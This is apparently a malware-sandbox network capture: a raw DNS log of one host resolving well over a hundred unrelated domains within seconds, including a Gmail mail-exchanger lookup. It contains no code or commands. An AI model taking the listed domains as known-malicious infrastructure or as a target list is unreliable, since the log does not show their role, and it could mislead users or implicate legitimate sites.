Jul 27, 2023 21:53:53.850608110 CEST	8.8.8.8	192.168.2.4	0x9372	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.897077084 CEST	8.8.8.8	192.168.2.4	0xc0e8	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.913852930 CEST	8.8.8.8	192.168.2.4	0x20fd	No error (0)	www.tc17.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.913852930 CEST	8.8.8.8	192.168.2.4	0x20fd	No error (0)	www.tc17.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.925111055 CEST	8.8.8.8	192.168.2.4	0x2759	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.929605961 CEST	8.8.8.8	192.168.2.4	0x6e72	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.933954000 CEST	8.8.8.8	192.168.2.4	0xa67d	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.934298038 CEST	8.8.8.8	192.168.2.4	0x3cdb	No error (0)	apcotex.com		35.154.163.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.940402985 CEST	8.8.8.8	192.168.2.4	0xdd01	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.955487967 CEST	8.8.8.8	192.168.2.4	0x816e	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.970875025 CEST	8.8.8.8	192.168.2.4	0x1850	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.011159897 CEST	8.8.8.8	192.168.2.4	0x679a	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.041438103 CEST	8.8.8.8	192.168.2.4	0x7317	No error (0)	k-nikko.com		52.199.213.209	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.041438103 CEST	8.8.8.8	192.168.2.4	0x7317	No error (0)	k-nikko.com		54.150.159.238	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.074918032 CEST	8.8.8.8	192.168.2.4	0x596d	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.095422029 CEST	8.8.8.8	192.168.2.4	0x1273	No error (0)	hbfuels.com		85.233.160.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.096507072 CEST	8.8.8.8	192.168.2.4	0xd585	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.101638079 CEST	8.8.8.8	192.168.2.4	0x1bc8	No error (0)	zugseil.com		92.42.191.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.119210958 CEST	8.8.8.8	192.168.2.4	0x9db0	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.121557951 CEST	8.8.8.8	192.168.2.4	0x105	No error (0)	hyab.se		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.121557951 CEST	8.8.8.8	192.168.2.4	0x105	No error (0)	hyab.se		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.137648106 CEST	8.8.8.8	192.168.2.4	0x94d0	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.145178080 CEST	8.8.8.8	192.168.2.4	0xb61e	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.150175095 CEST	8.8.8.8	192.168.2.4	0xec80	No error (0)	plaske.ua		5.181.161.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.177371979 CEST	8.8.8.8	192.168.2.4	0x8b82	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.219630003 CEST	8.8.8.8	192.168.2.4	0x4e97	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.247735023 CEST	8.8.8.8	192.168.2.4	0xf8aa	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.278811932 CEST	8.8.8.8	192.168.2.4	0x7b1c	No error (0)	diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.410182953 CEST	8.8.8.8	192.168.2.4	0x7d69	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.424798965 CEST	8.8.8.8	192.168.2.4	0x70bc	No error (0)	amic.at		78.46.224.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.434612036 CEST	8.8.8.8	192.168.2.4	0x94c3	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.434612036 CEST	8.8.8.8	192.168.2.4	0x94c3	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.434612036 CEST	8.8.8.8	192.168.2.4	0x94c3	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.465953112 CEST	8.8.8.8	192.168.2.4	0xdbeb	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.473594904 CEST	8.8.8.8	192.168.2.4	0x79be	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.485764980 CEST	8.8.8.8	192.168.2.4	0xdd28	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.494921923 CEST	8.8.8.8	192.168.2.4	0xcfb7	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.537671089 CEST	8.8.8.8	192.168.2.4	0x15f7	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.540972948 CEST	8.8.8.8	192.168.2.4	0x47b8	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.540972948 CEST	8.8.8.8	192.168.2.4	0x47b8	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.550582886 CEST	8.8.8.8	192.168.2.4	0x2be1	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.550582886 CEST	8.8.8.8	192.168.2.4	0x2be1	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.573034048 CEST	8.8.8.8	192.168.2.4	0xe354	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.580209017 CEST	8.8.8.8	192.168.2.4	0x1605	No error (0)	araax.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:54.580209017 CEST	8.8.8.8	192.168.2.4	0x1605	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:54.580209017 CEST	8.8.8.8	192.168.2.4	0x1605	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.580209017 CEST	8.8.8.8	192.168.2.4	0x1605	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.584533930 CEST	8.8.8.8	192.168.2.4	0xf1b9	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.619080067 CEST	8.8.8.8	192.168.2.4	0xf726	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.619080067 CEST	8.8.8.8	192.168.2.4	0xf726	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.620244980 CEST	8.8.8.8	192.168.2.4	0x861e	No error (0)	wanoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.620244980 CEST	8.8.8.8	192.168.2.4	0x861e	No error (0)	wanoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.624674082 CEST	8.8.8.8	192.168.2.4	0xa7cf	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.632035017 CEST	8.8.8.8	192.168.2.4	0xb749	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.640718937 CEST	8.8.8.8	192.168.2.4	0xb78a	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.642682076 CEST	8.8.8.8	192.168.2.4	0x8aad	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.650105953 CEST	8.8.8.8	192.168.2.4	0xee19	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.670828104 CEST	8.8.8.8	192.168.2.4	0x1be7	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.670828104 CEST	8.8.8.8	192.168.2.4	0x1be7	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.681890011 CEST	8.8.8.8	192.168.2.4	0x85e4	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.693047047 CEST	8.8.8.8	192.168.2.4	0x8726	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.751270056 CEST	8.8.8.8	192.168.2.4	0xc3f4	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.751270056 CEST	8.8.8.8	192.168.2.4	0xc3f4	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.803025961 CEST	8.8.8.8	192.168.2.4	0xd691	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.805305004 CEST	8.8.8.8	192.168.2.4	0xb8e9	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.863797903 CEST	8.8.8.8	192.168.2.4	0x29ac	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.864082098 CEST	8.8.8.8	192.168.2.4	0x391	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.880657911 CEST	8.8.8.8	192.168.2.4	0x3251	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.886960030 CEST	8.8.8.8	192.168.2.4	0xf8c8	No error (0)	dyag-eng.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.886960030 CEST	8.8.8.8	192.168.2.4	0xf8c8	No error (0)	dyag-eng.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.891829014 CEST	8.8.8.8	192.168.2.4	0x79e9	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.892453909 CEST	8.8.8.8	192.168.2.4	0x8a08	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.904933929 CEST	8.8.8.8	192.168.2.4	0xaccc	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.904989958 CEST	8.8.8.8	192.168.2.4	0x5565	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.906114101 CEST	8.8.8.8	192.168.2.4	0x76df	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.906114101 CEST	8.8.8.8	192.168.2.4	0x76df	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.956552982 CEST	8.8.8.8	192.168.2.4	0x5e0a	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.961901903 CEST	8.8.8.8	192.168.2.4	0x1ddf	No error (0)	www.diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.022871017 CEST	8.8.8.8	192.168.2.4	0xf3db	No error (0)	t-mould.com		81.169.145.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.027962923 CEST	8.8.8.8	192.168.2.4	0x683e	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.042131901 CEST	8.8.8.8	192.168.2.4	0x5b5f	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.042131901 CEST	8.8.8.8	192.168.2.4	0x5b5f	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.095295906 CEST	8.8.8.8	192.168.2.4	0x6c6c	No error (0)	nels.co.uk		5.134.13.210	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.112170935 CEST	8.8.8.8	192.168.2.4	0x9fdd	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.143270969 CEST	8.8.8.8	192.168.2.4	0x9b50	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.229060888 CEST	8.8.8.8	192.168.2.4	0xd6e0	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.229060888 CEST	8.8.8.8	192.168.2.4	0xd6e0	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.229060888 CEST	8.8.8.8	192.168.2.4	0xd6e0	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.229060888 CEST	8.8.8.8	192.168.2.4	0xd6e0	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.246624947 CEST	8.8.8.8	192.168.2.4	0x4adb	No error (0)	shiner.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.246624947 CEST	8.8.8.8	192.168.2.4	0x4adb	No error (0)	shiner.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.324573040 CEST	8.8.8.8	192.168.2.4	0xa2b3	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.324573040 CEST	8.8.8.8	192.168.2.4	0xa2b3	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.332210064 CEST	8.8.8.8	192.168.2.4	0xb281	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.338556051 CEST	8.8.8.8	192.168.2.4	0x2163	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.451332092 CEST	8.8.8.8	192.168.2.4	0xa5ab	No error (0)	yasuma.com		61.200.81.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.459377050 CEST	8.8.8.8	192.168.2.4	0xbe60	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.522110939 CEST	8.8.8.8	192.168.2.4	0x515d	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.563961029 CEST	8.8.8.8	192.168.2.4	0xb79	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.563961029 CEST	8.8.8.8	192.168.2.4	0xb79	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.577483892 CEST	8.8.8.8	192.168.2.4	0xc001	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.646919012 CEST	8.8.8.8	192.168.2.4	0x3cca	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.681189060 CEST	8.8.8.8	192.168.2.4	0xa54c	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.707214117 CEST	8.8.8.8	192.168.2.4	0x51c7	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.752795935 CEST	8.8.8.8	192.168.2.4	0x5098	No error (0)	rast.se		93.188.2.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.815494061 CEST	8.8.8.8	192.168.2.4	0x7dbd	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.815958977 CEST	8.8.8.8	192.168.2.4	0x9fab	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.902669907 CEST	8.8.8.8	192.168.2.4	0x1288	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.939301968 CEST	8.8.8.8	192.168.2.4	0xaccc	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.961128950 CEST	8.8.8.8	192.168.2.4	0x66a3	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:55.961128950 CEST	8.8.8.8	192.168.2.4	0x66a3	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.987453938 CEST	8.8.8.8	192.168.2.4	0xae50	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:55.987453938 CEST	8.8.8.8	192.168.2.4	0xae50	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.000432014 CEST	8.8.8.8	192.168.2.4	0xe796	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.010364056 CEST	8.8.8.8	192.168.2.4	0x72c0	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.010364056 CEST	8.8.8.8	192.168.2.4	0x72c0	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.010364056 CEST	8.8.8.8	192.168.2.4	0x72c0	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.020324945 CEST	8.8.8.8	192.168.2.4	0xcdd4	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.021485090 CEST	8.8.8.8	192.168.2.4	0xf62f	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.032799959 CEST	8.8.8.8	192.168.2.4	0xe756	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.037200928 CEST	8.8.8.8	192.168.2.4	0x6fbc	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.057152033 CEST	8.8.8.8	192.168.2.4	0x31d7	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.221219063 CEST	8.8.8.8	192.168.2.4	0x9570	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.349416971 CEST	8.8.8.8	192.168.2.4	0x29e8	No error (0)	hes.pt		52.19.230.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.378390074 CEST	8.8.8.8	192.168.2.4	0xd1c5	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.378390074 CEST	8.8.8.8	192.168.2.4	0xd1c5	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.402229071 CEST	8.8.8.8	192.168.2.4	0xfafa	No error (0)	akr.co.id		104.20.123.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.402229071 CEST	8.8.8.8	192.168.2.4	0xfafa	No error (0)	akr.co.id		104.20.122.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.402229071 CEST	8.8.8.8	192.168.2.4	0xfafa	No error (0)	akr.co.id		172.67.33.252	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.425427914 CEST	8.8.8.8	192.168.2.4	0xc1f	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.599359035 CEST	8.8.8.8	192.168.2.4	0xfcbc	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.605382919 CEST	8.8.8.8	192.168.2.4	0xdf49	No error (0)	gmail-smtp-in.l.google.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.606460094 CEST	8.8.8.8	192.168.2.4	0xc5c	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.612401009 CEST	8.8.8.8	192.168.2.4	0x6c14	No error (0)	rast.se		93.188.2.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.625262976 CEST	8.8.8.8	192.168.2.4	0x72a0	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.625262976 CEST	8.8.8.8	192.168.2.4	0x72a0	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.625535011 CEST	8.8.8.8	192.168.2.4	0xf742	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.656408072 CEST	8.8.8.8	192.168.2.4	0xf5b5	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.723887920 CEST	8.8.8.8	192.168.2.4	0xb40b	Server failure (2)	zupraha.cz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.766448975 CEST	8.8.8.8	192.168.2.4	0x2b7c	No error (0)	shittas.com		208.91.197.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.768356085 CEST	8.8.8.8	192.168.2.4	0xe885	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.807101011 CEST	8.8.8.8	192.168.2.4	0xd514	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.807101011 CEST	8.8.8.8	192.168.2.4	0xd514	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.848404884 CEST	8.8.8.8	192.168.2.4	0xdec1	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.851321936 CEST	8.8.8.8	192.168.2.4	0xe581	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.945880890 CEST	8.8.8.8	192.168.2.4	0xd6ab	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.945880890 CEST	8.8.8.8	192.168.2.4	0xd6ab	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.945880890 CEST	8.8.8.8	192.168.2.4	0xd6ab	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:56.945880890 CEST	8.8.8.8	192.168.2.4	0xd6ab	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.001523972 CEST	8.8.8.8	192.168.2.4	0xaccc	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.013336897 CEST	8.8.8.8	192.168.2.4	0xa66d	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.013336897 CEST	8.8.8.8	192.168.2.4	0xa66d	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.158806086 CEST	8.8.8.8	192.168.2.4	0x4e6b	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.158806086 CEST	8.8.8.8	192.168.2.4	0x4e6b	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.158806086 CEST	8.8.8.8	192.168.2.4	0x4e6b	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.158806086 CEST	8.8.8.8	192.168.2.4	0x4e6b	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.215403080 CEST	8.8.8.8	192.168.2.4	0xd28	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.215403080 CEST	8.8.8.8	192.168.2.4	0xd28	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.229737043 CEST	8.8.8.8	192.168.2.4	0xfaea	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.299431086 CEST	8.8.8.8	192.168.2.4	0xee33	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.299431086 CEST	8.8.8.8	192.168.2.4	0xee33	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.299431086 CEST	8.8.8.8	192.168.2.4	0xee33	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.307311058 CEST	8.8.8.8	192.168.2.4	0x9219	No error (0)	dspears.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:57.307311058 CEST	8.8.8.8	192.168.2.4	0x9219	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:57.307311058 CEST	8.8.8.8	192.168.2.4	0x9219	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.307311058 CEST	8.8.8.8	192.168.2.4	0x9219	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.322977066 CEST	8.8.8.8	192.168.2.4	0x746	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.368786097 CEST	8.8.8.8	192.168.2.4	0xa8e3	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.463670015 CEST	8.8.8.8	192.168.2.4	0x746	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.481400013 CEST	8.8.8.8	192.168.2.4	0x4a3a	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.499284029 CEST	8.8.8.8	192.168.2.4	0x8614	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.559618950 CEST	8.8.8.8	192.168.2.4	0xbd7f	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:57.559618950 CEST	8.8.8.8	192.168.2.4	0xbd7f	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.583220005 CEST	8.8.8.8	192.168.2.4	0x755a	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
